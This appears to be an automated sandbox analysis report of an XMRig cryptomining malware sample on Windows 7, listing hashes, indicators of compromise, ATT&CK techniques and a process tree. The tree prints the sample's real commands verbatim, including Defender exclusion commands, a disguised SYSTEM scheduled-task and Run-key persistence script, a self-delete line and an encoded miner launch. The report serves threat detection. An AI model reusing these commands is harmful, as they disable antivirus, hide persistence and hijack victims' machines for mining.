xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
371s
max time network
1806s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24/01/2024, 17:15

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General

Target
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Size 2.0MB
Sample240124-vstf4aecaj
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 1320 created 1292	1320	Be5sCbvuma2nkHDa.exe	10
PID 1320 created 1292	1320	Be5sCbvuma2nkHDa.exe	10
PID 1320 created 1292	1320	Be5sCbvuma2nkHDa.exe	10
PID 1320 created 1292	1320	Be5sCbvuma2nkHDa.exe	10
PID 2792 created 1292	2792	updater.exe	10
PID 2792 created 1292	2792	updater.exe	10
PID 2792 created 1292	2792	updater.exe	10
PID 2792 created 1292	2792	updater.exe	10
PID 2792 created 1292	2792	updater.exe	10

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral7/memory/2632-68-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-138-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-140-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-147-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-149-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2632-151-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2120	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2792	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
320	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral7/memory/2632-63-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-138-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-140-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-147-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-149-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2632-151-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2792 set thread context of 2580	2792	updater.exe	54
PID 2792 set thread context of 2632	2792	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Be5sCbvuma2nkHDa.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2680	schtasks.exe
592	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1364	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 109a07c1b64fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1320	Be5sCbvuma2nkHDa.exe
1320	Be5sCbvuma2nkHDa.exe
3012	powershell.exe
1320	Be5sCbvuma2nkHDa.exe
1320	Be5sCbvuma2nkHDa.exe
2744	powershell.exe
1320	Be5sCbvuma2nkHDa.exe
1320	Be5sCbvuma2nkHDa.exe
1320	Be5sCbvuma2nkHDa.exe
1320	Be5sCbvuma2nkHDa.exe
2656	powershell.exe
2792	updater.exe
2792	updater.exe
1936	powershell.exe
2792	updater.exe
2792	updater.exe
2564	powershell.exe
2792	updater.exe
2792	updater.exe
2792	updater.exe
2792	updater.exe
2580	conhost.exe
2580	conhost.exe
2792	updater.exe
2792	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
472	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	3012	powershell.exe
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeDebugPrivilege	2656	powershell.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	2792	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1364	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1364	WMIC.exe
Token: SeSecurityPrivilege	1364	WMIC.exe
Token: SeTakeOwnershipPrivilege	1364	WMIC.exe
Token: SeLoadDriverPrivilege	1364	WMIC.exe
Token: SeSystemtimePrivilege	1364	WMIC.exe
Token: SeBackupPrivilege	1364	WMIC.exe
Token: SeRestorePrivilege	1364	WMIC.exe
Token: SeShutdownPrivilege	1364	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1364	WMIC.exe
Token: SeUndockPrivilege	1364	WMIC.exe
Token: SeManageVolumePrivilege	1364	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1364	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1364	WMIC.exe
Token: SeSecurityPrivilege	1364	WMIC.exe
Token: SeTakeOwnershipPrivilege	1364	WMIC.exe
Token: SeLoadDriverPrivilege	1364	WMIC.exe
Token: SeSystemtimePrivilege	1364	WMIC.exe
Token: SeBackupPrivilege	1364	WMIC.exe
Token: SeRestorePrivilege	1364	WMIC.exe
Token: SeShutdownPrivilege	1364	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1364	WMIC.exe
Token: SeUndockPrivilege	1364	WMIC.exe
Token: SeManageVolumePrivilege	1364	WMIC.exe
Token: SeLockMemoryPrivilege	2632	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2744 wrote to memory of 2680	2744	powershell.exe	32
PID 2744 wrote to memory of 2680	2744	powershell.exe	32
PID 2744 wrote to memory of 2680	2744	powershell.exe	32
PID 2120 wrote to memory of 2652	2120	cmd.exe	37
PID 2120 wrote to memory of 2652	2120	cmd.exe	37
PID 2120 wrote to memory of 2652	2120	cmd.exe	37
PID 2656 wrote to memory of 2572	2656	powershell.exe	39
PID 2656 wrote to memory of 2572	2656	powershell.exe	39
PID 2656 wrote to memory of 2572	2656	powershell.exe	39
PID 320 wrote to memory of 2792	320	taskeng.exe	40
PID 320 wrote to memory of 2792	320	taskeng.exe	40
PID 320 wrote to memory of 2792	320	taskeng.exe	40
PID 2564 wrote to memory of 592	2564	powershell.exe	45
PID 2564 wrote to memory of 592	2564	powershell.exe	45
PID 2564 wrote to memory of 592	2564	powershell.exe	45
PID 2792 wrote to memory of 2580	2792	updater.exe	54
PID 932 wrote to memory of 1364	932	cmd.exe	48
PID 932 wrote to memory of 1364	932	cmd.exe	48
PID 932 wrote to memory of 1364	932	cmd.exe	48
PID 2792 wrote to memory of 2632	2792	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1292
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2680
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2120
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:592
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:932
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2580
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2632

C:\Windows\system32\taskeng.exe
taskeng.exe {F109AA6C-5D8F-4B42-BFE6-B44D4147A2A6} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:320
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2792

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1364

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
1⤵
- Drops file in Program Files directory
PID:1388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 2.0MB
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Submit Download

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 1.3MB
SHA256 3ed51cd1d194991043a7c6eca55eb67d421a47873b88a3e94537ad29d1897ed7
MD5 4c131b6aad16f0815451a8672b401882
SHA1 df390263cf04ef03411b722c4238f885466403a7
SHA512 3dcad5a5dd9d51bb23e791b1b40d2246d7d9bd68560ce203c57c4fee830e86dca624349030b7b38f6f3f91e48019d245f6afc12ea474d089b364351b4011efe0
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe12urmvDavvXkYO:rWVipAxqo5p88CbXuxWQiSJU320ZW21n
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 da70a08c6d24ff5185b282b70a233325860aaa56192debbb0d6739c5f4eb3b9c
MD5 adb9377fbec11f55b1f38f67cf8dfec3
SHA1 6fb0a5a7e77c7d8e58c270867b426e4ec76d7cd1
SHA512 db3d0505aea1e5782d2f895b0fc4d62b8a090aea7c34810f867129427aeb3252346c6d2e636a0ea755127810181d34e1d8512450cbcc3c92f1be6dd030502e2b
SSDEEP 96:YFTOCZM8rnqvsqvJCwoiFTOCZM8rnqvsEHyqvJCworWoqbQHvL7jUXlUV5:UTHnUoSTHnAHnorWRWL7jUW
MD5 SHA1 SHA512 SSDEEP

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memory/1320-0-0x000000013F500000-0x000000013F711000-memory.dmp

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memory/1320-28-0x000000013F500000-0x000000013F711000-memory.dmp

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memory/1936-47-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

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memory/1936-46-0x0000000001160000-0x00000000011E0000-memory.dmp

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memory/1936-44-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

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memory/1936-45-0x0000000001160000-0x00000000011E0000-memory.dmp

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memory/1936-48-0x0000000001160000-0x00000000011E0000-memory.dmp

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memory/1936-49-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

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memory/2564-50-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

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memory/2564-51-0x0000000000FE0000-0x0000000001060000-memory.dmp

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memory/2564-52-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

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memory/2564-54-0x0000000000FE0000-0x0000000001060000-memory.dmp

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memory/2564-55-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

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memory/2564-53-0x0000000000FE0000-0x0000000001060000-memory.dmp

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memory/2580-67-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/2580-71-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/2632-88-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-99-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-151-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-149-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-147-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-140-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-138-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-131-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-129-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-127-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-125-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-123-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-121-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-119-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-112-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-110-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-108-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-101-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-97-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-90-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-86-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-84-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-82-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-64-0x00000000002C0000-0x00000000002E0000-memory.dmp

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memory/2632-63-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-65-0x0000000000890000-0x00000000008B0000-memory.dmp

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memory/2632-66-0x0000000000C50000-0x0000000000C70000-memory.dmp

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memory/2632-80-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-68-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-70-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-78-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-72-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2632-74-0x0000000000890000-0x00000000008B0000-memory.dmp

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memory/2632-75-0x0000000000C50000-0x0000000000C70000-memory.dmp

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memory/2632-76-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2656-35-0x00000000023E0000-0x0000000002460000-memory.dmp

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memory/2656-36-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

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memory/2656-37-0x00000000023E0000-0x0000000002460000-memory.dmp

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memory/2656-38-0x00000000023E0000-0x0000000002460000-memory.dmp

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memory/2656-39-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

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memory/2656-34-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

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memory/2744-26-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

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memory/2744-21-0x0000000002770000-0x00000000027F0000-memory.dmp

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memory/2744-25-0x0000000002770000-0x00000000027F0000-memory.dmp

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memory/2744-24-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

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memory/2744-18-0x000000001B270000-0x000000001B552000-memory.dmp

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memory/2744-20-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

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memory/2744-19-0x0000000002360000-0x0000000002368000-memory.dmp

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memory/2744-22-0x0000000002770000-0x00000000027F0000-memory.dmp

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memory/2744-23-0x0000000002770000-0x00000000027F0000-memory.dmp

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memory/2792-43-0x000000013F9A0000-0x000000013FBB1000-memory.dmp

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memory/2792-62-0x000000013F9A0000-0x000000013FBB1000-memory.dmp

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memory/3012-11-0x00000000027D0000-0x0000000002850000-memory.dmp

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memory/3012-12-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

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memory/3012-10-0x00000000027D0000-0x0000000002850000-memory.dmp

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memory/3012-6-0x0000000001D30000-0x0000000001D38000-memory.dmp

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memory/3012-5-0x000000001B2B0000-0x000000001B592000-memory.dmp

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memory/3012-9-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

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memory/3012-8-0x00000000027D0000-0x0000000002850000-memory.dmp

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memory/3012-7-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

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